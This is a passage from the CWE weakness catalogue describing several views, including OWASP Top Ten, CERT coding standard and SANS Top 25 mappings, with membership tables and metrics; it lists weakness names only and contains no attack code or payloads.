This view outlines the most important issues as identified by the OWASP Top Ten (2007 version), providing a good starting point for web application developers who want to code more securely.

Product Customers

This view outlines the most important issues as identified by the OWASP Top Ten (2007 version), providing customers with a way of asking their software developers to follow minimum expectations for secure code.

Educators

Since the OWASP Top Ten covers the most frequently encountered issues, this view can be used by educators as training material for students.

Membership

Nature	Type	ID	Name	Page
HasMember	C	712	OWASP Top Ten 2007 Category A1 - Cross Site Scripting (XSS)	1870
HasMember	C	713	OWASP Top Ten 2007 Category A2 - Injection Flaws	1871
HasMember	C	714	OWASP Top Ten 2007 Category A3 - Malicious File Execution	1871
HasMember	C	715	OWASP Top Ten 2007 Category A4 - Insecure Direct Object Reference	1871
HasMember	C	716	OWASP Top Ten 2007 Category A5 - Cross Site Request Forgery (CSRF)	1872
HasMember	C	717	OWASP Top Ten 2007 Category A6 - Information Leakage and Improper Error Handling	1872
HasMember	C	718	OWASP Top Ten 2007 Category A7 - Broken Authentication and Session Management	1873
HasMember	C	719	OWASP Top Ten 2007 Category A8 - Insecure Cryptographic Storage	1873
HasMember	C	720	OWASP Top Ten 2007 Category A9 - Insecure Communications	1873
HasMember	C	721	OWASP Top Ten 2007 Category A10 - Failure to Restrict URL Access	1874

Notes

Relationship

The relationships in this view are a direct extraction of the CWE mappings that are in the 2007 OWASP document. CWE has changed since the release of that document.

References

[REF-519]"Top 10 2007". 2007 May 8. OWASP. < http://www.owasp.org/index.php/Top_10_2007 >.

Metrics

	CWEs in this view		Total CWEs
Weaknesses	28	out of	875
Categories	10	out of	312
Views	0	out of	39
Total	38	out of	1226

View ID : 635 **Status:** Obsolete
Type : Explicit

Objective

CWE nodes in this view (slice) were used by NIST to categorize vulnerabilities within NVD, from 2008 to 2016. This original version has been used by many other projects.

Membership

Nature	Type	ID	Name	Page
HasMember	C	16	Configuration	1849
HasMember	C	20	Improper Input Validation	19
HasMember	B	22	Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')	31
HasMember	B	59	Improper Link Resolution Before File Access ('Link Following')	106
HasMember	B	78	Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')	141
HasMember	B	79	Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	152
HasMember	B	89	Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')	187
HasMember	B	94	Improper Control of Generation of Code ('Code Injection')	204
HasMember	C	119	Improper Restriction of Operations within the Bounds of a Memory Buffer	271
HasMember	B	134	Use of Externally-Controlled Format String	334
HasMember	C	189	Numeric Errors	1852
HasMember	C	200	Exposure of Sensitive Information to an Unauthorized Actor	466
HasMember	C	255	Credentials Management Errors	1855
HasMember	C	264	Permissions, Privileges, and Access Controls	1856
HasMember	C	287	Improper Authentication	630
HasMember	C	310	Cryptographic Issues	1858
HasMember	F	352	Cross-Site Request Forgery (CSRF)	773
HasMember	C	362	Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')	793
HasMember	C	399	Resource Management Errors	1864

Notes

Maintenance

This view is effectively obsolete, although it is probably still in active use by CWE consumers. In Summer 2007, NIST began using this set of CWE elements to classify CVE entries within the National Vulnerability Database (NVD). The data was made publicly available beginning in 2008. In 2016, NIST began using a different list as derived from the "Weaknesses for Simplified Mapping of Published Vulnerabilities" view (CWE-1003).

References

[REF-1]NIST. "CWE - Common Weakness Enumeration". < http://nvd.nist.gov/cwe.cfm >.

Metrics

	CWEs in this view		Total CWEs
Weaknesses	13	out of	875
Categories	6	out of	312
Views	0	out of	39
Total	19	out of	1226

View-658: Weaknesses in Software Written in C

View ID : 658 **Status:** Draft
Type : Implicit

Objective

This view (slice) covers issues that are found in C programs that are not common to all languages.

Filter

/Weakness_Catalog/Weaknesses/Weakness[./Applicable_Platforms/Language/@Name='C']

Membership

Nature	Type	ID	Name	Page
HasMember	V	658	Weaknesses in Software Written in C	2023

Metrics

	CWEs in this view		Total CWEs
Weaknesses	80	out of	875
Categories	0	out of	312
Views	0	out of	39
Total	80	out of	1226

View-659: Weaknesses in Software Written in C++

View ID : 659 **Status:** Draft
Type : Implicit

Objective

This view (slice) covers issues that are found in C++ programs that are not common to all languages.

Filter

/Weakness_Catalog/Weaknesses/Weakness[./Applicable_Platforms/Language/@Name='C++']

Membership

Nature	Type	ID	Name	Page
HasMember	V	659	Weaknesses in Software Written in C++	2023

Metrics

	CWEs in this view		Total CWEs
Weaknesses	84	out of	875
Categories	0	out of	312
Views	0	out of	39
Total	84	out of	1226

View-660: Weaknesses in Software Written in Java

View ID : 660 **Status:** Draft
Type : Implicit

Objective

This view (slice) covers issues that are found in Java programs that are not common to all languages.

Filter

/Weakness_Catalog/Weaknesses/Weakness[./Applicable_Platforms/Language/@Name='Java']

Membership

Nature	Type	ID	Name	Page
HasMember	V	660	Weaknesses in Software Written in Java	2023

Metrics

	CWEs in this view		Total CWEs
Weaknesses	75	out of	875
Categories	0	out of	312
Views	0	out of	39
Total	75	out of	1226

View-661: Weaknesses in Software Written in PHP

View ID : 661 **Status:** Draft
Type : Implicit

Objective

This view (slice) covers issues that are found in PHP programs that are not common to all languages.

Filter

/Weakness_Catalog/Weaknesses/Weakness[./Applicable_Platforms/Language/@Name='PHP']

Membership

Nature	Type	ID	Name	Page
HasMember	V	661	Weaknesses in Software Written in PHP	2024

Metrics

	CWEs in this view		Total CWEs
Weaknesses	23	out of	875
Categories	0	out of	312
Views	0	out of	39
Total	23	out of	1226

View-677: Weakness Base Elements

View ID : 677 **Status:** Draft
Type : Implicit

Objective

This view (slice) displays only weakness base elements.

Filter

/Weakness_Catalog/Weaknesses/Weakness[@Abstraction='Base'][not(@Status='Deprecated')]

Membership

Nature	Type	ID	Name	Page
HasMember	V	677	Weakness Base Elements	2024

Metrics

	CWEs in this view		Total CWEs
Weaknesses	473	out of	875

	CWEs in this view		Total CWEs
Categories	0	out of	312
Views	0	out of	39
Total	473	out of	1226

View-678: Composites

View ID : 678 **Status:** Draft
Type : Implicit

Objective

This view displays only composite weaknesses.

Filter

/Weakness_Catalog/Weaknesses/Weakness[@Structure='Composite'][not(@Status='Deprecated')]

Membership

Nature	Type	ID	Name	Page
HasMember	V	678	Composites	2025

Metrics

	CWEs in this view		Total CWEs
Weaknesses	4	out of	875
Categories	0	out of	312
Views	0	out of	39
Total	4	out of	1226

View-699: Software Development

View ID : 699 **Status:** Draft
Type : Graph

Objective

This view organizes weaknesses around concepts that are frequently used or encountered in software development. This includes all aspects of the software development lifecycle including both architecture and implementation. Accordingly, this view can align closely with the perspectives of architects, developers, educators, and assessment vendors. It provides a variety of categories that are intended to simplify navigation, browsing, and mapping.

Audience

Software Developers

Software developers (including architects, designers, coders, and testers) use this view to better understand potential mistakes that can be made in specific areas of their software application. The use of concepts that developers are familiar with makes it easier to navigate this view, and filtering by Modes of Introduction can enable focus on a specific phase of the development lifecycle.

Educators

Educators use this view to teach future developers about the types of mistakes that are commonly made within specific parts of a codebase.

Membership

Nature	Type	ID	Name	Page
HasMember	C	19	Data Processing Errors	1849
HasMember	C	133	String Errors	1850
HasMember	C	136	Type Errors	1850
HasMember	C	137	Data Neutralization Issues	1851
HasMember	C	189	Numeric Errors	1852
HasMember	C	199	Information Management Errors	1852
HasMember	C	255	Credentials Management Errors	1855
HasMember	C	265	Privilege Issues	1856
HasMember	C	275	Permission Issues	1857
HasMember	C	310	Cryptographic Issues	1858
HasMember	C	355	User Interface Security Issues	1860
HasMember	C	371	State Issues	1861
HasMember	C	387	Signal Errors	1861
HasMember	C	389	Error Conditions, Return Values, Status Codes	1863
HasMember	C	399	Resource Management Errors	1864
HasMember	C	411	Resource Locking Problems	1865
HasMember	C	417	Communication Channel Errors	1865
HasMember	C	429	Handler Errors	1866
HasMember	C	438	Behavioral Problems	1867
HasMember	C	452	Initialization and Cleanup Errors	1867
HasMember	C	465	Pointer Issues	1868
HasMember	C	557	Concurrency Issues	1869
HasMember	C	569	Expression Issues	1870
HasMember	C	840	Business Logic Errors	1900
HasMember	C	1006	Bad Coding Practices	1961
HasMember	C	1210	Audit / Logging Errors	2012
HasMember	C	1211	Authentication Errors	2013
HasMember	C	1212	Authorization Errors	2013
HasMember	C	1213	Random Number Issues	2014
HasMember	C	1214	Data Integrity Issues	2014
HasMember	C	1215	Data Validation Issues	2015
HasMember	C	1216	Lockout Mechanism Errors	2016
HasMember	C	1217	User Session Errors	2016
HasMember	C	1218	Memory Buffer Errors	2016
HasMember	C	1219	File Handling Issues	2017
HasMember	C	1225	Documentation Issues	2017
HasMember	C	1226	Complexity Issues	2018
HasMember	C	1227	Encapsulation Issues	2018
HasMember	C	1228	API / Function Errors	2019

Notes

Other

The top level categories in this view represent commonly understood areas/terms within software development, and are meant to aid the user in identifying potential related weaknesses. It is possible for the same weakness to exist within multiple different categories.

Other

This view attempts to present weaknesses in a simple and intuitive way. As such it targets a single level of abstraction. It is important to realize that not every CWE will be represented in this view. High-level class weaknesses and low-level variant weaknesses are mostly ignored. However, by

exploring the weaknesses that are included, and following the defined relationships, one can find these higher and lower level weaknesses.

Metrics

	CWEs in this view		Total CWEs
Weaknesses	418	out of	875
Categories	40	out of	312
Views	0	out of	39
Total	458	out of	1226

View-700: Seven Pernicious Kingdoms

View ID : 700 **Status:** Incomplete
Type : Graph

Objective

This view (graph) organizes weaknesses using a hierarchical structure that is similar to that used by Seven Pernicious Kingdoms.

Audience

Software Developers

This view is useful for developers because it is organized around concepts with which developers are familiar, and it focuses on weaknesses that can be detected using source code analysis tools.

Membership

Nature	Type	ID	Name	Page
HasMember	C	2	7PK - Environment	1848
HasMember	C	227	7PK - API Abuse	1853
HasMember	C	254	7PK - Security Features	1854
HasMember	C	361	7PK - Time and State	1860
HasMember	C	388	7PK - Errors	1862
HasMember	C	398	7PK - Code Quality	1863
HasMember	C	485	7PK - Encapsulation	1868
HasMember	C	1005	7PK - Input Validation and Representation	1961

Notes

Other

The MITRE CWE team frequently uses "7PK" as an abbreviation for Seven Pernicious Kingdoms.

References

[REF-6]Katrina Tsipenyuk, Brian Chess and Gary McGraw. "Seven Pernicious Kingdoms: A Taxonomy of Software Security Errors". NIST Workshop on Software Security Assurance Tools Techniques and Metrics. 2005 November 7. NIST. < https://samate.nist.gov/SSATTM_Content/papers/Seven%20Pernicious%20Kingdoms%20-%20Taxonomy%20of%20Sw%20Security%20Errors%20-%20Tsipenyuk%20-%20Chess%20-%20McGraw.pdf >.

Metrics

	CWEs in this view		Total CWEs
Weaknesses	88	out of	875
Categories	9	out of	312
Views	0	out of	39
Total	97	out of	1226

View-701: Weaknesses Introduced During Design

View ID : 701 **Status:** Incomplete
Type : Implicit

Objective

This view (slice) lists weaknesses that can be introduced during design.

Filter

/Weakness_Catalog/Weaknesses/Weakness[./Modes_Of_Introduction/Introduction/Phase='Architecture and Design']

Membership

Nature	Type	ID	Name	Page
HasMember	V	701	Weaknesses Introduced During Design	2028

Metrics

	CWEs in this view		Total CWEs
Weaknesses	428	out of	875
Categories	0	out of	312
Views	0	out of	39
Total	428	out of	1226

View-702: Weaknesses Introduced During Implementation

View ID : 702 **Status:** Incomplete
Type : Implicit

Objective

This view (slice) lists weaknesses that can be introduced during implementation.

Filter

/Weakness_Catalog/Weaknesses/Weakness[./Modes_Of_Introduction/Introduction/Phase='Implementation']

Membership

Nature	Type	ID	Name	Page
HasMember	V	702	Weaknesses Introduced During Implementation	2028

Metrics

	CWEs in this view		Total CWEs
Weaknesses	679	out of	875
Categories	0	out of	312
Views	0	out of	39
Total	679	out of	1226

View-709: Named Chains

View ID : 709 **Status:** Incomplete
Type : Implicit

Objective

This view displays Named Chains and their components.

Filter

/Weakness_Catalog/Weaknesses/Weakness[@Structure='Chain']

Membership

Nature	Type	ID	Name	Page
HasMember	V	709	Named Chains	2028

Metrics

	CWEs in this view		Total CWEs
Weaknesses	3	out of	875
Categories	0	out of	312
Views	0	out of	39
Total	3	out of	1226

View-711: Weaknesses in OWASP Top Ten (2004)

View ID : 711 **Status:** Obsolete
Type : Graph

Objective

CWE nodes in this view (graph) are associated with the OWASP Top Ten, as released in 2004, and as required for compliance with PCI DSS version 1.1. This view is considered obsolete as a newer version of the OWASP Top Ten is available.

Audience

Software Developers

This view outlines the most important issues as identified by the OWASP Top Ten (2004 version), providing a good starting point for web application developers who want to code more securely, as well as complying with PCI DSS 1.1.

Product Customers

This view outlines the most important issues as identified by the OWASP Top Ten, providing customers with a way of asking their software developers to follow minimum expectations for secure code, in compliance with PCI-DSS 1.1.

Educators

Since the OWASP Top Ten covers the most frequently encountered issues, this view can be used by educators as training material for students. However, the 2007 version (CWE-629) might be more appropriate.

Membership

Nature	Type	ID	Name	Page
HasMember	C	722	OWASP Top Ten 2004 Category A1 - Unvalidated Input	1874
HasMember	C	723	OWASP Top Ten 2004 Category A2 - Broken Access Control	1875
HasMember	C	724	OWASP Top Ten 2004 Category A3 - Broken Authentication and Session Management	1876
HasMember	C	725	OWASP Top Ten 2004 Category A4 - Cross-Site Scripting (XSS) Flaws	1877
HasMember	C	726	OWASP Top Ten 2004 Category A5 - Buffer Overflows	1877
HasMember	C	727	OWASP Top Ten 2004 Category A6 - Injection Flaws	1877
HasMember	C	728	OWASP Top Ten 2004 Category A7 - Improper Error Handling	1878
HasMember	C	729	OWASP Top Ten 2004 Category A8 - Insecure Storage	1878
HasMember	C	730	OWASP Top Ten 2004 Category A9 - Denial of Service	1879

Nature	Type	ID	Name	Page
HasMember	C	731	OWASP Top Ten 2004 Category A10 - Insecure Configuration Management	1880

Notes

Relationship

CWE relationships for this view were obtained by examining the OWASP document and mapping to any items that were specifically mentioned within the text of a category. As a result, this mapping is not complete with respect to all of CWE. In addition, some concepts were mentioned in multiple Top Ten items, which caused them to be mapped to multiple CWE categories. For example, SQL injection is mentioned in both A1 (CWE-722) and A6 (CWE-727) categories.

Maintenance

Some parts of CWE are not fully fleshed out in terms of weaknesses. When these areas were mentioned in the Top Ten, category nodes were mapped, although general mapping practice would usually favor mapping only to weaknesses.

References

[REF-570]"Top 10 2004". 2004 January 7. OWASP. < http://www.owasp.org/index.php/Top_10_2004 >.
[REF-571]PCI Security Standards Council. "About the PCI Data Security Standard (PCI DSS)". < https://www.pcisecuritystandards.org/security_standards/pci_dss.shtml >.

Metrics

	CWEs in this view		Total CWEs
Weaknesses	117	out of	875
Categories	13	out of	312
Views	0	out of	39
Total	130	out of	1226

View-734: Weaknesses Addressed by the CERT C Secure Coding Standard (2008)

View ID : 734 **Status:** Obsolete
Type : Graph

Objective

CWE entries in this view (graph) are fully or partially eliminated by following the guidance presented in the book "The CERT C Secure Coding Standard" published in 2008. This view is considered obsolete as a newer version of the coding standard is available.

Audience

Software Developers

By following the CERT C Secure Coding Standard, developers will be able to fully or partially prevent the weaknesses that are identified in this view. In addition, developers can use a CWE coverage graph to determine which weaknesses are not directly addressed by the standard, which will help identify and resolve remaining gaps in training, tool acquisition, or other approaches for reducing weaknesses.

Product Customers

If a software developer claims to be following the CERT C Secure Coding standard, then customers can search for the weaknesses in this view in order to formulate independent evidence of that claim.

Educators

Educators can use this view in multiple ways. For example, if there is a focus on teaching weaknesses, the educator could link them to the relevant Secure Coding Standard.

Membership

Nature	Type	ID	Name	Page
HasMember	C	735	CERT C Secure Coding Standard (2008) Chapter 2 - Preprocessor (PRE)	1881
HasMember	C	736	CERT C Secure Coding Standard (2008) Chapter 3 - Declarations and Initialization (DCL)	1881
HasMember	C	737	CERT C Secure Coding Standard (2008) Chapter 4 - Expressions (EXP)	1882
HasMember	C	738	CERT C Secure Coding Standard (2008) Chapter 5 - Integers (INT)	1882
HasMember	C	739	CERT C Secure Coding Standard (2008) Chapter 6 - Floating Point (FLP)	1883
HasMember	C	740	CERT C Secure Coding Standard (2008) Chapter 7 - Arrays (ARR)	1884
HasMember	C	741	CERT C Secure Coding Standard (2008) Chapter 8 - Characters and Strings (STR)	1885
HasMember	C	742	CERT C Secure Coding Standard (2008) Chapter 9 - Memory Management (MEM)	1886
HasMember	C	743	CERT C Secure Coding Standard (2008) Chapter 10 - Input Output (FIO)	1887
HasMember	C	744	CERT C Secure Coding Standard (2008) Chapter 11 - Environment (ENV)	1889
HasMember	C	745	CERT C Secure Coding Standard (2008) Chapter 12 - Signals (SIG)	1889
HasMember	C	746	CERT C Secure Coding Standard (2008) Chapter 13 - Error Handling (ERR)	1890
HasMember	C	747	CERT C Secure Coding Standard (2008) Chapter 14 - Miscellaneous (MSC)	1891
HasMember	C	748	CERT C Secure Coding Standard (2008) Appendix - POSIX (POS)	1891

Notes

Relationship

The relationships in this view were determined based on specific statements within the rules from the standard. Not all rules have direct relationships to individual weaknesses, although they likely have chaining relationships in specific circumstances.

Maintenance

This view is no longer being actively maintained, since it statically represents the coding rules as they were in 2008.

References

[REF-597]Robert C. Seacord. "The CERT C Secure Coding Standard". 1st Edition. 2008 October 4. Addison-Wesley Professional.

Metrics

	CWEs in this view		Total CWEs
Weaknesses	91	out of	875
Categories	14	out of	312
Views	0	out of	39
Total	105	out of	1226

View-750: Weaknesses in the 2009 CWE/SANS Top 25 Most Dangerous Programming Errors

View ID : 750 **Status:** Obsolete
Type : Graph

Objective

CWE entries in this view (graph) are listed in the 2009 CWE/SANS Top 25 Programming Errors. This view is considered obsolete as a newer version of the Top 25 is available.

Audience

Software Developers

By following the Top 25, developers will be able to significantly reduce the number of weaknesses that occur in their software.

Product Customers

If a software developer claims to be following the Top 25, then customers can search for the weaknesses in this view in order to formulate independent evidence of that claim.

Educators

Educators can use this view in multiple ways. For example, if there is a focus on teaching weaknesses, the educator could focus on the Top 25.

Membership

Nature	Type	ID	Name	Page
HasMember	C	751	2009 Top 25 - Insecure Interaction Between Components	1892
HasMember	C	752	2009 Top 25 - Risky Resource Management	1893
HasMember	C	753	2009 Top 25 - Porous Defenses	1893

References

[REF-615]"2009 CWE/SANS Top 25 Most Dangerous Programming Errors". 2009 January 2. < http://cwe.mitre.org/top25/archive/2009/2009_cwe_sans_top25.html >.

Metrics

	CWEs in this view		Total CWEs
Weaknesses	26	out of	875
Categories	3	out of	312
Views	0	out of	39
Total	29	out of	1226

View-800: Weaknesses in the 2010 CWE/SANS Top 25 Most Dangerous Programming Errors

View ID : 800 **Status:** Obsolete
Type : Graph

Objective

CWE entries in this view (graph) are listed in the 2010 CWE/SANS Top 25 Programming Errors. This view is considered obsolete as a newer version of the Top 25 is available.

Audience

Software Developers

By following the Top 25, developers will be able to significantly reduce the number of weaknesses that occur in their software.

Product Customers

If a software developer claims to be following the Top 25, then customers can use the weaknesses in this view in order to formulate independent evidence of that claim.

Educators

Educators can use this view in multiple ways. For example, if there is a focus on teaching weaknesses, the educator could focus on the Top 25.

Membership

Nature	Type	ID	Name	Page
HasMember	C	801	2010 Top 25 - Insecure Interaction Between Components	1894
HasMember	C	802	2010 Top 25 - Risky Resource Management	1895
HasMember	C	803	2010 Top 25 - Porous Defenses	1895
HasMember	C	808	2010 Top 25 - Weaknesses On the Cusp	1896

References

[REF-732]"2010 CWE/SANS Top 25 Most Dangerous Software Errors". 2010 February 4. < http://cwe.mitre.org/top25/archive/2010/2010_cwe_sans_top25.html >.

Metrics

	CWEs in this view		Total CWEs
Weaknesses	41	out of	875
Categories	4	out of	312
Views	0	out of	39
Total	45	out of	1226

View-809: Weaknesses in OWASP Top Ten (2010)

View ID : 809 **Status:** Obsolete
Type : Graph

Objective

CWE nodes in this view (graph) are associated with the OWASP Top Ten, as released in 2010. This view is considered obsolete as a newer version of the OWASP Top Ten is available.

Audience

Software Developers

This view outlines the most important issues as identified by the OWASP Top Ten (2010 version), providing a good starting point for web application developers who want to code more securely.

Product Customers

This view outlines the most important issues as identified by the OWASP Top Ten (2010 version), providing customers with a way of asking their software developers to follow minimum expectations for secure code.

Educators

Since the OWASP Top Ten covers the most frequently encountered issues, this view can be used by educators as training material for students.

Membership

Nature	Type	ID	Name	Page
HasMember	C	810	OWASP Top Ten 2010 Category A1 - Injection	1896

Nature	Type	ID	Name	Page
HasMember	C	811	OWASP Top Ten 2010 Category A2 - Cross-Site Scripting (XSS)	1897
HasMember	C	812	OWASP Top Ten 2010 Category A3 - Broken Authentication and Session Management	1897
HasMember	C	813	OWASP Top Ten 2010 Category A4 - Insecure Direct Object References	1898
HasMember	C	814	OWASP Top Ten 2010 Category A5 - Cross-Site Request Forgery(CSRF)	1898
HasMember	C	815	OWASP Top Ten 2010 Category A6 - Security Misconfiguration	1898
HasMember	C	816	OWASP Top Ten 2010 Category A7 - Insecure Cryptographic Storage	1899
HasMember	C	817	OWASP Top Ten 2010 Category A8 - Failure to Restrict URL Access	1899
HasMember	C	818	OWASP Top Ten 2010 Category A9 - Insufficient Transport Layer Protection	1900
HasMember	C	819	OWASP Top Ten 2010 Category A10 - Unvalidated Redirects and Forwards	1900

Notes

Relationship

The relationships in this view are a direct extraction of the CWE mappings that are in the 2010 OWASP document. CWE has changed since the release of that document.

References

[REF-759]"Top 10 2010". 2010 April 9. OWASP. < https://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project#tab=OWASP_Top_10_for_2010 >.

Metrics

	CWEs in this view		Total CWEs
Weaknesses	32	out of	875
Categories	10	out of	312
Views	0	out of	39
Total	42	out of	1226

View-844: Weaknesses Addressed by The CERT Oracle Secure Coding Standard for Java (2011)

View ID : 844 **Status:** Obsolete
Type : Graph

Objective

CWE entries in this view (graph) are fully or partially eliminated by following the guidance presented in the book "The CERT Oracle Secure Coding Standard for Java" published in 2011. This view is considered obsolete as a newer version of the coding standard is available.

Audience

Software Developers

By following The CERT Oracle Secure Coding Standard for Java, developers will be able to fully or partially prevent the weaknesses that are identified in this view. In addition, developers can use a CWE coverage graph to determine which weaknesses are not directly addressed by the

standard, which will help identify and resolve remaining gaps in training, tool acquisition, or other approaches for reducing weaknesses.

Product Customers

If a software developer claims to be following The CERT Oracle Secure Coding Standard for Java, then customers can search for the weaknesses in this view in order to formulate independent evidence of that claim.

Educators

Educators can use this view in multiple ways. For example, if there is a focus on teaching weaknesses, the educator could link them to the relevant Secure Coding Standard.

Membership

Nature	Type	ID	Name	Page
HasMember	C	845	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 2 - Input Validation and Data Sanitization (IDS)	1902
HasMember	C	846	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 3 - Declarations and Initialization (DCL)	1902
HasMember	C	847	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 4 - Expressions (EXP)	1903
HasMember	C	848	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 5 - Numeric Types and Operations (NUM)	1903
HasMember	C	849	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 6 - Object Orientation (OBJ)	1904
HasMember	C	850	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 7 - Methods (MET)	1904
HasMember	C	851	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 8 - Exceptional Behavior (ERR)	1905
HasMember	C	852	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 9 - Visibility and Atomicity (VNA)	1906
HasMember	C	853	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 10 - Locking (LCK)	1906
HasMember	C	854	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 11 - Thread APIs (THI)	1907
HasMember	C	855	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 12 - Thread Pools (TPS)	1907
HasMember	C	856	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 13 - Thread-Safety Miscellaneous (TSM)	1908
HasMember	C	857	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 14 - Input Output (FIO)	1908
HasMember	C	858	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 15 - Serialization (SER)	1909
HasMember	C	859	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 16 - Platform Security (SEC)	1909
HasMember	C	860	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 17 - Runtime Environment (ENV)	1910
HasMember	C	861	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 18 - Miscellaneous (MSC)	1910

Notes

Relationship

The relationships in this view were determined based on specific statements within the rules from the standard. Not all rules have direct relationships to individual weaknesses, although they likely have chaining relationships in specific circumstances.

References

[REF-813]Fred Long, Dhruv Mohindra, Robert C. Seacord, Dean F. Sutherland and David Svoboda. "The CERT Oracle Coding Standard for Java". 1st Edition. 2011 September 8. Addison-Wesley Professional.

Metrics

	CWEs in this view		Total CWEs
Weaknesses	104	out of	875
Categories	17	out of	312
Views	0	out of	39
Total	121	out of	1226

View-868: Weaknesses Addressed by the SEI CERT C++ Coding Standard (2016 Version)

View ID : 868 **Status:** Obsolete
Type : Graph

Objective

CWE entries in this view (graph) are fully or partially eliminated by following the SEI CERT C++ Coding Standard, as published in 2016.

Audience

Software Developers

By following the CERT C++ Secure Coding Standard, developers will be able to fully or partially prevent the weaknesses that are identified in this view. In addition, developers can use a CWE coverage graph to determine which weaknesses are not directly addressed by the standard, which will help identify and resolve remaining gaps in training, tool acquisition, or other approaches for reducing weaknesses.

Product Customers

If a software developer claims to be following the CERT C++ Secure Coding Standard, then customers can search for the weaknesses in this view in order to formulate independent evidence of that claim.

Educators

Educators can use this view in multiple ways. For example, if there is a focus on teaching weaknesses, the educator could link them to the relevant Secure Coding Standard.

Membership

Nature	Type	ID	Name	Page
HasMember	C	869	CERT C++ Secure Coding Section 01 - Preprocessor (PRE)	1913
HasMember	C	870	CERT C++ Secure Coding Section 02 - Declarations and Initialization (DCL)	1914
HasMember	C	871	CERT C++ Secure Coding Section 03 - Expressions (EXP)	1914
HasMember	C	872	CERT C++ Secure Coding Section 04 - Integers (INT)	1914
HasMember	C	873	CERT C++ Secure Coding Section 05 - Floating Point Arithmetic (FLP)	1915
HasMember	C	874	CERT C++ Secure Coding Section 06 - Arrays and the STL (ARR)	1915
HasMember	C	875	CERT C++ Secure Coding Section 07 - Characters and Strings (STR)	1916

Nature	Type	ID	Name	Page
HasMember	C	876	CERT C++ Secure Coding Section 08 - Memory Management (MEM)	1917
HasMember	C	877	CERT C++ Secure Coding Section 09 - Input Output (FIO)	1917
HasMember	C	878	CERT C++ Secure Coding Section 10 - Environment (ENV)	1918
HasMember	C	879	CERT C++ Secure Coding Section 11 - Signals (SIG)	1919
HasMember	C	880	CERT C++ Secure Coding Section 12 - Exceptions and Error Handling (ERR)	1919
HasMember	C	881	CERT C++ Secure Coding Section 13 - Object Oriented Programming (OOP)	1920
HasMember	C	882	CERT C++ Secure Coding Section 14 - Concurrency (CON)	1920
HasMember	C	883	CERT C++ Secure Coding Section 49 - Miscellaneous (MSC)	1921

Notes

Relationship

The relationships in this view were determined based on specific statements within the rules from the standard. Not all rules have direct relationships to individual weaknesses, although they likely have chaining relationships in specific circumstances.

Maintenance

This view is no longer being actively maintained, since it statically represents the coding rules as they were in 2016.

References

[REF-847]The Software Engineering Institute. "SEI CERT C++ Coding Standard". < https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pageId=88046682 >.

Metrics

	CWEs in this view		Total CWEs
Weaknesses	95	out of	875
Categories	15	out of	312
Views	0	out of	39
Total	110	out of	1226

View-884: CWE Cross-section

View ID : 884 **Status:** Incomplete
Type : Explicit

Objective

This view contains a selection of weaknesses that represent the variety of weaknesses that are captured in CWE, at a level of abstraction that is likely to be useful to most audiences. It can be used by researchers to determine how broad their theories, models, or tools are. It will also be used by the CWE content team in 2012 to focus quality improvement efforts for individual CWE entries.

Membership

Nature	Type	ID	Name	Page
HasMember	V	14	Compiler Removal of Code to Clear Buffers	14
HasMember	B	22	Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')	31
HasMember	B	23	Relative Path Traversal	42
HasMember	B	36	Absolute Path Traversal	69

Nature	Type	ID	Name	Page
HasMember	B	41	Improper Resolution of Path Equivalence	81
HasMember	B	59	Improper Link Resolution Before File Access ('Link Following')	106
HasMember	B	78	Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')	141
HasMember	B	79	Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	152
HasMember	B	88	Improper Neutralization of Argument Delimiters in a Command ('Argument Injection')	181
HasMember	B	89	Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')	187
HasMember	B	90	Improper Neutralization of Special Elements used in an LDAP Query ('LDAP Injection')	198
HasMember	B	94	Improper Control of Generation of Code ('Code Injection')	204
HasMember	V	95	Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')	209
HasMember	B	96	Improper Neutralization of Directives in Statically Saved Code ('Static Code Injection')	213
HasMember	C	99	Improper Control of Resource Identifiers ('Resource Injection')	224
HasMember	V	113	Improper Neutralization of CRLF Sequences in HTTP Headers ('HTTP Response Splitting')	251
HasMember	B	117	Improper Output Neutralization for Logs	266
HasMember	B	120	Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')	280
HasMember	V	129	Improper Validation of Array Index	312
HasMember	B	131	Incorrect Calculation of Buffer Size	325
HasMember	B	134	Use of Externally-Controlled Format String	334
HasMember	B	135	Incorrect Calculation of Multi-Byte String Length	339
HasMember	B	170	Improper Null Termination	395
HasMember	V	173	Improper Handling of Alternate Encoding	401
HasMember	V	174	Double Decoding of the Same Data	403
HasMember	V	175	Improper Handling of Mixed Encoding	405
HasMember	B	179	Incorrect Behavior Order: Early Validation	414
HasMember	C	185	Incorrect Regular Expression	429
HasMember	B	190	Integer Overflow or Wraparound	437
HasMember	B	191	Integer Underflow (Wrap or Wraparound)	444
HasMember	B	193	Off-by-one Error	449
HasMember	B	203	Observable Discrepancy	478
HasMember	B	209	Generation of Error Message Containing Sensitive Information	490
HasMember	B	212	Improper Removal of Sensitive Information Before Storage or Transfer	500
HasMember	B	222	Truncation of Security-relevant Information	512
HasMember	B	223	Omission of Security-relevant Information	513
HasMember	C	228	Improper Handling of Syntactically Invalid Structure	519
